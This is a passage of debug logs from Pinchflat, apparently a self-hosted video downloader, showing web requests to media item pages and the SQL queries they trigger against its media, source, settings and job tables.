m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.281 [info] Sent 200 in 20ms 04:53:47.307 [info] GET /sources/30/media/140166 04:53:47.307 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "140166", "source_id" => "30"} Pipelines: [:browser] 04:53:47.308 [debug] QUERY OK source="media_items" db=0.5ms idle=38.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140166] 04:53:47.309 [debug] QUERY OK source="tasks" db=0.3ms idle=39.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [140166] 04:53:47.310 [debug] QUERY OK source="sources" db=0.7ms idle=37.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:47.311 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=37.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7191] 04:53:47.312 [debug] QUERY OK source="settings" db=0.3ms idle=36.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.313 [debug] QUERY OK source="settings" db=0.3ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.315 [debug] QUERY OK source="settings" db=0.4ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.317 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.323 [info] Sent 200 in 16ms 04:53:47.375 [info] GET /sources/30/media/140166/edit 04:53:47.375 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "140166", "source_id" => "30"} Pipelines: [:browser] 04:53:47.377 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=64.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140166] 04:53:47.378 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=65.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.379 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=65.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.381 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=65.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.385 [info] Sent 200 in 9ms 04:53:47.423 [info] GET /sources/31/media/139775 04:53:47.424 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139775", "source_id" => "31"} Pipelines: [:browser] 04:53:47.425 [debug] QUERY OK source="media_items" db=0.5ms idle=107.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139775] 04:53:47.426 [debug] QUERY OK source="tasks" db=0.5ms idle=48.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139775] 04:53:47.427 [debug] QUERY OK source="sources" db=0.7ms idle=47.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:47.428 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=48.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7160] 04:53:47.429 [debug] QUERY OK source="settings" db=0.4ms idle=47.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.430 [debug] QUERY OK source="settings" db=0.3ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.431 [debug] QUERY OK source="settings" db=0.4ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.434 [info] GET /sources/30/media/139734 04:53:47.434 [debug] QUERY OK source="media_profiles" db=0.6ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.434 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139734", "source_id" => "30"} Pipelines: [:browser] 04:53:47.435 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=6.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139734] 04:53:47.437 [debug] QUERY OK source="tasks" db=0.4ms idle=6.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139734] 04:53:47.437 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:47.439 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.1ms idle=6.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7158] 04:53:47.439 [info] Sent 200 in 16ms 04:53:47.440 [debug] QUERY OK source="settings" db=0.5ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.441 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.443 [debug] QUERY OK source="settings" db=0.2ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.445 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.450 [info] Sent 200 in 16ms 04:53:47.518 [info] GET /sources/31/media/139557 04:53:47.518 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139557", "source_id" => "31"} Pipelines: [:browser] 04:53:47.518 [info] GET /sources/31/media/139775/edit 04:53:47.519 [info] GET /sources/30/media/139734/edit 04:53:47.519 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139775", "source_id" => "31"} Pipelines: [:browser] 04:53:47.519 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139734", "source_id" => "30"} Pipelines: [:browser] 04:53:47.520 [debug] QUERY OK source="media_items" db=0.7ms idle=80.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139557] 04:53:47.521 [debug] QUERY OK source="media_items" db=1.4ms idle=79.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139775] 04:53:47.522 [debug] QUERY OK source="media_items" db=1.8ms idle=78.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139734] 04:53:47.522 [debug] QUERY OK source="tasks" db=1.4ms idle=78.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139557] 04:53:47.523 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=75.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:47.523 [debug] QUERY OK source="settings" db=0.7ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.523 [debug] QUERY OK source="settings" db=0.6ms queue=0.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.524 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=1.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7142] 04:53:47.524 [debug] QUERY OK source="settings" db=0.5ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.525 [debug] QUERY OK source="settings" db=1.3ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.525 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.527 [debug] QUERY OK source="settings" db=1.1ms queue=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.527 [debug] QUERY OK source="settings" db=1.5ms queue=0.2ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.527 [debug] QUERY OK source="settings" db=1.6ms queue=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.529 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.531 [info] Sent 200 in 12ms 04:53:47.533 [debug] QUERY OK source="media_profiles" db=1.0ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.534 [info] Sent 200 in 14ms 04:53:47.537 [info] GET /sources/31/media/139557/edit 04:53:47.537 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139557", "source_id" => "31"} Pipelines: [:browser] 04:53:47.538 [debug] QUERY OK source="media_items" db=0.5ms idle=10.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139557] 04:53:47.539 [info] Sent 200 in 21ms 04:53:47.540 [debug] QUERY OK source="settings" db=0.4ms idle=11.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.541 [debug] QUERY OK source="settings" db=0.3ms idle=12.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.542 [debug] QUERY OK source="settings" db=0.3ms idle=12.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.546 [info] Sent 200 in 9ms 04:53:47.594 [info] GET /sources/30/media/139303 04:53:47.594 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139303", "source_id" => "30"} Pipelines: [:browser] 04:53:47.596 [debug] QUERY OK source="media_items" db=0.5ms idle=62.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139303] 04:53:47.597 [debug] QUERY OK source="tasks" db=0.4ms idle=57.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139303] 04:53:47.597 [debug] QUERY OK source="sources" db=0.6ms idle=56.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:47.598 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=57.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7124] 04:53:47.600 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=57.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.600 [info] GET /sources/30/media/139303/edit 04:53:47.600 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139303", "source_id" => "30"} Pipelines: [:browser] 04:53:47.600 [debug] QUERY OK source="settings" db=0.3ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.602 [debug] QUERY OK source="media_items" db=0.6ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139303] 04:53:47.602 [debug] QUERY OK source="settings" db=0.2ms idle=4.4ms SELECT 